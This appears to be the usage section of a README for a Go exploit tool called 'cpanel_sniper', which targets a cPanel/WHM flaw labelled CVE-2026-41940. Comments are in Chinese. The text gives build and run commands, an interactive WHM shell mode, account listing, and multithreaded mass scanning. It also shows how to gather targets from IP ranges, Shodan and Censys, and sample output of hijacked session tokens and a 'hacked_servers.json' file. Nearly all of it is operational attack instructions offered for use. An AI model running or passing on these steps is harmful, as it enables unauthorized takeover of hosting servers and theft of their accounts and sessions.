git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

go build -o cpanel_sniper.exe main.go

go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

go run main.go -u https://target.com:2087

# 基本扫描
go run main.go -u https://target.com:2087

# 列出所有 cPanel 账户
go run main.go -u https://target.com:2087 -action list

# 交互式 WHM Shell
go run main.go -u https://target.com:2087 -action shell

# 使用 urls.txt 进行批量扫描
go run main.go -l urls.txt -t 20 -o results.json

https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...

# 基本批量扫描（10 线程）
go run main.go -l urls.txt

# 快速批量扫描（50 线程，保存结果）
go run main.go -l urls.txt -t 50 -o results.json

# 带利用后操作的批量扫描
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json

# 带详细输出的批量扫描
go run main.go -l urls.txt -t 10 --verbose

# 带增加超时时间的批量扫描（慢速网络）
go run main.go -l urls.txt -t 30 -timeout 30

# 生成 IP 范围（Linux/macOS）
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt

# 生成 IP 范围（Windows PowerShell）
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt

# 从 Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt

# 从 Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt

╔════════════════════════════════════════════════════════════════╗
║                    检测到易受攻击目标                          ║
╠════════════════════════════════════════════════════════════════╣
║ 目标：https://target.example.com:2087                          ║
║ 令牌：/cpsess1234567890                                        ║
║ 版本：11.76.0.22                                               ║
║ 会话：:od2aMhg5zJeQunUy...                                     ║
║ API URL：https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝

[+] 操作：LIST
    • 用户：admin | 域名：example.com
    • 用户：backup | 域名：backup.example.com
    • 用户：client1 | 域名：client1.com

════════════════════════════════════════════════════════════════════
                    扫描完成汇总
════════════════════════════════════════════════════════════════════
  扫描目标总数：1000
  易受攻击目标：47
  耗时：125.34 秒

易受攻击目标：
────────────────────────────────────────────────────────────────
  1. https://192.168.1.15:2087
      令牌：/cpsess1111111111
      版本：11.76.0.22
      会话：:od2aMhg5zJeQunUy...
  2. https://192.168.1.42:2087
      令牌：/cpsess2222222222
      版本：11.86.0.15
      会话：Km2psnYR9w3rRkLU...
  3. https://example.com:2087
      令牌：/cpsess3333333333
      版本：11.118.0.42
      会话：Xk9mQrNtPw3sVbLm...

════════════════════════════════════════════════════════════════════

[✓] 结果已保存至：results.json

go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087

go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087

GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go

# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go

# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

# Linux ARM（树莓派）
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go

CVE-2026-41940-Exploit-PoC/
├── README.md           # 文档
├── bin/                # 预构建的多平台可执行文件
│   ├── windows_x64/
│   ├── linux_x64/
│   └── ...
├── main.go             # 主源代码
├── urls.txt            # 1000 个示例目标
├── go.mod              # Go 模块文件
├── .gitignore          # Git 忽略文件
└── results.json        # 输出文件（生成）